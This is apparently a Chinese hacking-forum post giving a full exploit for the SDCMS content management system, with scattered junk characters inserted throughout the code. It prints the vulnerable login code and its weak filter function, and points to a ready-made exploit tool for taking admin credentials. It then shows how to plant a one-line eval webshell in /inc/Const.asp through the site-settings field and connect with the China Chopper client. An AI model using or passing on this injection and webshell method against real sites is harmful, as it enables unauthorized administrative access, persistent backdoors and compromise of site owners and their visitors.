SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp
' _, h" B! |7 q/ I- j5 |
; h3 j. P( E% g) O& g1 JSub Check
) g4 X: Z2 ?0 `8 j# S% n/ w9 b/ T    Dim username,password,code,getcode,Rs
7 P! v) R3 |  Z6 x; U    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
0 u' Z* i5 D! H+ A$ A* Y    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
- [" p3 ~" \8 s. j    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
# h  n5 H; k# q2 |, j2 Y& v    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
7 M  o6 J+ K+ Q& t; f        Echo "用户名或密码不能为空"ied
    Else
! ?1 e6 }8 h, }+ x4 K        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
, |3 W+ E/ W- J% x! Z0 @$ ~3 z            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
1 v3 M" j: ?4 X7 Z6 n        Else
            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
6 H. l# A% F3 v            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
1 }% M( o7 T3 }8 v2 [/ Y) h* X' T            Add_Cookies "sdcms_alllever",Rs(4)
# @5 y8 Q% C2 i7 |( L0 M& ?7 a            Add_Cookies "sdcms_infolever",Rs(5)
8 J2 {$ i8 F! S( w; ]" H. Q            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
, i* S% w* y! f5 a            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
" V' o! u5 C3 ?- W$ g1 p+ h* z            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
& {1 i) K8 O# a/ b2 Z, V            Go("sdcms_index.asp")
        End IF
- _, N0 U; v, F. I4 D6 X$ _/ Q        Rs.Close
' z" r, j3 w  i/ S3 @        Set Rs=Nothing
    End IF
9 G, S# n2 y6 p7 c: gEnd Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
- V) o& u9 l- G) U8 @! J! v5 @
Function FilterText(ByVal t0,ByVal t1)
. g5 U% T( j  R, o: J  I    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
  _" l8 t4 i# E) b  \% c# t9 \% K* Z9 A    t0=Trim(t0)
+ d/ c. o3 [- W# g+ w    Select Case t1
7 F" G3 N1 f/ J; s* Z  n        Case "1"
$ k5 [+ G. t2 B( a9 ^9 Y            t0=Replace(t0,Chr(32),"")
( k/ x  t5 d+ E  r            t0=Replace(t0,Chr(13),"")
" R3 }8 g3 v! |* c) ~$ p1 _8 M            t0=Replace(t0,Chr(10)&Chr(10),"")
$ M/ a$ M' J: t            t0=Replace(t0,Chr(10),"")
. P: p, w# X5 y. p        Case "2"
5 j5 ~( G" J9 D6 _            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
4 A5 e4 v. ^0 i: n. V: ?            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
3 s8 N$ v+ C/ T& z' L, n            t0=Replace(t0,Chr(33),"")'!
8 M) Y1 [( G# R4 a, x3 \2 L4 J; ]            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
; `" M" O( i3 L, I0 W6 D+ \5 X            t0=Replace(t0,Chr(37),"")'%
2 E: j+ c% ^0 n, M            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
( z6 s  l- z2 K* I            t0=Replace(t0,Chr(40),"")'(
% x. c( z6 _  v  z8 \7 R: y            t0=Replace(t0,Chr(41),"")')
- P( i% x8 w8 F3 X& s" d8 @: w# Z8 p1 g            t0=Replace(t0,Chr(42),"")'*
+ U& E* a4 L3 C3 O            t0=Replace(t0,Chr(43),"")'+
( K  q4 `! C% l8 T) N            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
0 e% D( O4 e4 n1 L# e            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
  T. R3 b; \) f- c/ x+ A            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
0 m% s* q# A6 A3 l4 I$ y            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
( R8 h6 |/ M) u2 t( p, l            t0=Replace(t0,Chr(91),"")'\
. `% S: H9 D# g) Y. `" G6 i  [: g            t0=Replace(t0,Chr(92),"")'\
2 ]6 ~1 l( O; \            t0=Replace(t0,Chr(93),"")']
3 g  u9 _. `" J: F            t0=Replace(t0,Chr(94),"")'^
0 L2 ?' H* {2 c# c8 p            t0=Replace(t0,Chr(95),"")'_
* @4 g" v% }" `) w            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
+ @' }, S  r8 D; N. w) `2 @            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
    Case Else
        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
3 @6 M) B7 [$ A7 s9 K        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
5 w0 r9 X! ~" W5 G    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
    FilterText=t0
End Function

看到没。直接参数是1 只过滤
+ A: w0 ]" K! ]                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
$ j! C% N. x9 r0 c% F, c                        t0=Replace(t0,Chr(10)&Chr(10),"
")
* ^( H( p1 E' z4 y                        t0=Replace(t0,Chr(10),"
")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
( C7 H/ I) R( X+ Z$ l3 BEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
/ P7 G1 [3 T) D8 ]
测试:
/ H; ~! A& ?, Q" r% W2 ]0 ?' q
; b# v( E1 S2 u# `
0 [" @  F. b  W/ `现在输入工具上验证码,然后点OK
& V, f% N9 y# B9 s' n& c7 ~  f
9 D2 E* }/ }) d6 _( T4 Y
看到我们直接进入后台管理界面了,呵呵!



这样直接进入后台了。。。。
) j- u% U0 w; }$ B) R* a


SDCMS提权:
9 h# S" ^. F) H& p: b
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?


) r/ p) b2 ~( r) O3 e& k+ T2 _
OK,现在用菜刀连接下!

8 Y- R" m2 d: }



/ y, @6 z  B  _1 Y+ A/ S